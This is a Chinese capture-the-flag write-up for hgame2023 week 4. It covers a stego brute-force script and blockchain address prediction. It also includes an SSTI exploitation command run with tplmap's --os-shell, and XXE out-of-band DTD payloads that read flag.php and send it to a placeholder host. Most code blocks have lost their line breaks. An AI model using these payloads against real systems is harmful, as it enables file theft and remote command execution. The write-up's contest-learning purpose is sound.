hgame2023-week4

Web

Shared Diary

第一眼testpassword 我以为真的捏 下次改成fakepassword

后来以为 ejs原型链污染rce emmmmm 高版本gg

admin代码发现应该有个ssti

ban了___proto___直接绕过

先原型链污染登录进去吧

无过滤 tplmap 一把梭

python .\tplmap.py -u http://week-4.hgame.lwsec.cn:30327/ -d diary=1 -c session=s%3AvpTC-JU5kv5WdqjwuJyJ1g_flxUQUxGz.n914ZgYM3apNkYWqGygykPAeLwS2yGCeBr%2FquwZgRCg -e ejs --os-shell

发现无法退到上一级目录 估计是tplmap的锅 直接cat

抓包发现 tplmap 其实就是执行命令。。。

不过我发现就算是手注 反弹shell也不行

使用了node的docker 看了眼dockerhub 用的是bash没错啊。。。 算了 开摆

Tell Me

提示源码www.zip

xxe 无回显 有报错回显

最开始想外带 发现外带不出来 直接报错出来了 不理解。。。

预期外带dtd

<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=flag.php">
<!ENTITY % exp "<!ENTITY % send SYSTEM 'http://ip?p=%file;'>">
%exp;

报错dtd 故意错几个就行了

<!ENTITY % file SYSTEM "php://filter/read=convert.base6encode/resource=flag.php">
<!ENTITY % exp "<!ENTITY % send SYSTEM 'http://%file;'>">
%exp;

payload

<!DOCTYPE user [
<!ENTITY % remote SYSTEM "http://ip/1.dtd">
%remote;]>
<user><name>12</name><email>12</email><content>12</content></user>

我在想 能不能不用vps

emmmmm 不理解

MISC

New_Type_Steganography
import numpy as np
from libnum import n2s, s2n
from PIL import Image
import requests
from tqdm import *oriImg = Image.open("ori.jpg")
oriArr = np.array(oriImg)
flagImg = Image.open("flag.png")
flagArr = np.array(flagImg)# 白色图片大小应与原图一致
def encode(data, name):req = requests.post(url="http://week-4.hgame.lwsec.cn:31709/upload",data={"text": data},files={"file": open("white.png", "rb")})with open(name+".png", "wb") as f:f.write(req.content)def getPaddingPos(img):paddingPos = []for i in range(img.shape[0]):for j in range(img.shape[1]):if img[i][j][1] == 251:paddingPos.append((i, j))return paddingPos# 假设\x00填充 会有8个像素点为251
# 假设\x01填充 会有7个像素点为251
def getRealPos(paddingPos, bitPos):for pos in paddingPos:if pos not in bitPos:return posdef decode(realPos):binStr = ""for _,pos in enumerate(realPos):if _ % 7 == 0:binStr += "0"i, j = posif oriArr[i][j][1] & ~(1 << 2) == flagArr[i][j][1]:binStr += "0"else:binStr += "1"print(n2s(int(binStr, 2)))realPos = []# bit==0  255 & ~(1<<2) = 251; bit==1 255 | (1<<2) = 255
# 先用\x00填充 再按照位爆破顺序# 注意
# data = "\x80"
# data = bin(s2n(data))[2:].zfill(8 * len(data))
# print(data)
# output: 1100001010000000
# 因此\x80不考虑也不需要考虑 因为可见字符在\x80之前 就是第一个bit一定为0
bitsList = ['\x40', '\x20', '\x10', '\x08', '\x04', '\x02', '\x01']def main():# 按字节爆破循环for i in trange(50):padding = "\x00"*(i+1)  # \x00填充encode(padding, "padding"+str(i))paddingImg = np.array(Image.open("padding"+str(i)+".png"))paddingPos = getPaddingPos(paddingImg)# 按位爆破循环for j in range(7):bit = bitsList[j]encode("\x00"*i+bit, "bit"+str(i)+str(j))bitImg = np.array(Image.open("bit"+str(i)+str(j)+".png"))bitPos = getPaddingPos(bitImg)realPos.append(getRealPos(paddingPos, bitPos))decode(realPos)if __name__ == '__main__':main()

此脚本,产生文件较多 emmm 题目非常强顺便考了OSINT

ori.jpg就是搜图在p站上找到的 发现写个小脚本测试了 确实是原图

题目非常巧 尤其是01的修改方式

最开始想简单点 不找原图

但是发现根本不可能 因为&~(1<<2)|(1<<2)是一对对称运算

ps:可能是我没有研究csapp这本书 估计这本书会提到 《深入理解计算机系统》

同时会有经过运算不变的值,就只能按位爆破顺序 获取位置 再原图重运算

ezWin - variables

环境变量

ezWin - auth

查看cmdline

hashdump

ezWin - 7zip

filesacn

dumpfile

密码用cmd5解密

Blockchain

Transfer 2

可以说是Transfer的revenge了

看到智能合约发现需要预测两个地址

再进行部署合约

账号部署合约使用create 需要:账户地址及其nonce

package mainimport ("encoding/binary""encoding/hex""fmt""github.com/ethereum/go-ethereum/rlp""golang.org/x/crypto/sha3"
)// RlpInt2Bytes 根据RLP编码规则把int变量值转变成字节切片
func RlpInt2Bytes(i int) []byte {var data [4]byteif i <= 255 {if i == 0 { //我靠,这个坑爹的玩意儿,害我好苦return nil}return []byte{byte(i)}} else {binary.LittleEndian.PutUint32(data[:], uint32(i))if i <= 0xffff {return data[:2]} else if i <= 0xffffff {binary.LittleEndian.PutUint32(data[:], uint32(i))return data[:3]}}return data[:]
}func Keccak256Hash(data []byte) []byte {keccak256Hash2 := sha3.NewLegacyKeccak256()keccak256Hash2.Write(data)return keccak256Hash2.Sum(nil)
}// CreateContractAddr 经测试,这种算法适合外部账号创建智能合约用
// 同样是适用于简单的智能合约创建另一个智能合约
// 但是不适用于用CREATE2 操作码创建新智能合约
func CreateContractAddr(senderAddr string, nonce int) (string, error) {var (data [][]bytebuf  []byteerr  error)if buf, err = hex.DecodeString(senderAddr); err != nil {return "", err}data = append(data, buf)buf = RlpInt2Bytes(nonce)data = append(data, buf)if buf, err = rlp.EncodeToBytes(data); err != nil {return "", nil}buf = Keccak256Hash(buf)return hex.EncodeToString(buf[12:]), nil
}func main() {var (senderAddr string = "7b664824180D530c1397b6736D8EC864E1b3c77f"nonce      int    = 0addr       stringerr        error)if addr, err = CreateContractAddr(senderAddr, nonce); err != nil {fmt.Println(err)}fmt.Println(addr)
}
// 47f2afc24a2ff423cde5984aefc6767a07ac109e

new部署合约使用create2 需要:部署合约的合约地址 盐 bytecode

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;contract Test{function getChallAddress(address addr ) public pure returns (address) {bytes memory bytecode = hex'6080604052348015600f57600080fd5b506706f05b59d3b200004710602c576000805460ff191660011790555b60838061003a6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063890eba6814602d575b600080fd5b60005460399060ff1681565b604051901515815260200160405180910390f3fea2646970667358221220c0afce3a78fcc60fe5cb042db9c8cae10e646b3fcd2f905fa125145eebdf049864736f6c63430008110033';        bytes32 salt = keccak256("HGAME 2023");bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff),addr,salt,keccak256(bytecode)));// NOTE: cast last 20 bytes of hash to addressreturn address(uint160(uint256(hash)));}}

这波是脚本小子了属于是

拿到地址直接转账

nc去部署合约

记得remix监听

拿到交易哈希就行了

原理

既然通过create\create2创建的合约地址是可以预先知晓的,在合约部署之前, 如果给此地址转入eth,那么该地址就会被激活成为一个普通账户地址,且拥有资产。create\create2创建合约过程中,会将这个已经存在的普通账户地址转变成一个合约地址。转换过程不会清零资产,所以通过此方法可以成功的在合约部署之前给合约转入eth。

hgame2023-week4相关推荐

  1. 【WP】hgame2023 week4 Pwn

    [WP]hgame2023 week4 Pwn without_hook libc2.36的版本,没有__free_hook和__malloc_hook这种hook函数,这里使用打_IO_list_a ...

  2. hgame-2023-week4

    hgame-2023 文章目录 hgame-2023 week4 withouthook 4nswer's gift 后言: week4 withouthook ​ 存在UAF,跟week3先是一样, ...

  3. 21 week4 submit buidAndRun() node-rest-client

    . 我们想实现一个提交代码的功能 这个功能有nodeserver 传到后边的server 验证 在返回给nodeserver 我们稍微修改一下ui ATOM修改文件权限不够 用下面命令 我们 Cont ...

  4. 斯坦福-随机图模型-week4.0_

    title: 斯坦福-随机图模型-week4.0 tags: note notebook: 6- 英文课程-9-Probabilistic Graphical Models 1: Representa ...

  5. Week4 互评作业 (接口、抽象类练习)

    编写一个小的程序,其中定义一些接口.类.抽象类,定义它们的成员(字段及方法), 要求使用使用setter/getter, static, final, abstract,@Override等语法要素, ...

  6. hgame2023 week1 writeup

    #WEEK1 文章目录 RE 1.re-test_your_IDA 2.re-easyasm 3.re-easyenc 4.re-a_cup_of_tea 5.re-encode pwn 1.test ...

  7. hgame2023 week2 writeup

    WEEK2 文章目录 WEEK2 web 1.Git Leakage 2.v2board 3.Designer RE 1.before_main 2.stream 3.VidarCamera 4.ma ...

  8. hgame2023 WebMisc

    文章目录 Web week1 Classic Childhood Game Become A Member Guess Who I Am Show Me Your Beauty Week2 Git L ...

  9. 【吴恩达深度学习week4编程作业】

    本文参考该播主实现,需要的文件在博主的文章里:https://blog.csdn.net/u013733326/article/details/79767169 这次我先记录我自己打代码时候的错误,最 ...

  10. HGame 2023 Week4 部分Writeup

    文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup 第四周的比赛难度较高,同时也出现了不少颇为有趣的 ...

最新文章

  1. Java -- JDBC 学习--批量处理
  2. java if-then和if-then-else语句(翻译自Java Tutorials)
  3. Android如何实现TCP和UDP传输
  4. Java多线程(1)
  5. C和C++太难了。。搞这个方向进大厂它不香吗?
  6. LeetCode 2211. 统计道路上的碰撞次数
  7. 罗技无线网卡linux,linux(debian)安装USB无线网卡(tp-link TL-WN725N rtl8188eu )
  8. flutter 人脸检测_Flutter - 通过指纹和人脸识别认证
  9. 01.mac下安装配置maven
  10. linux的文件permission需要设置,否则会使用as3的urlrequest失败
  11. Rider 使用Emmylua 代码提示
  12. 人脸关键点检测论文总结
  13. 按键精灵post请求_[教程] 以本论坛为例,手把手教你使用按键精灵POST登陆网页...
  14. 【干货】微博短视频去水印下载使用介绍
  15. 穆大叔:18年生涯让我抬头挺胸 我是像士兵般离开
  16. 万能的pdf转换成jpg转换器软件
  17. Bootstrap4 div居中
  18. 数据概览神器—Pandas-profiling
  19. 数据库 7---SQL语言复杂查询与视图
  20. linux服务器如何测试网速

热门文章

  1. Mathematica+Matlab联合使用实现可视化、交互编程
  2. 创业第14天, 开始设计竞价助手的新功能
  3. 遥感动态监测的几个典型应用——附带示例数据
  4. [GO]并的爬取捧腹的段子
  5. vue文件命名规范和文件夹命名规范
  6. 竖流式沉淀池集水槽设计计算_辐流沉淀池集水槽设计计算方法
  7. 阿里云物联网平台使用指南
  8. 云原生定义解析之不可变基础设施 (immutable infrastructure)
  9. MAPInfo Professional v10.0026及MapX5.0安装说明
  10. 机器学习实验一-多项式拟合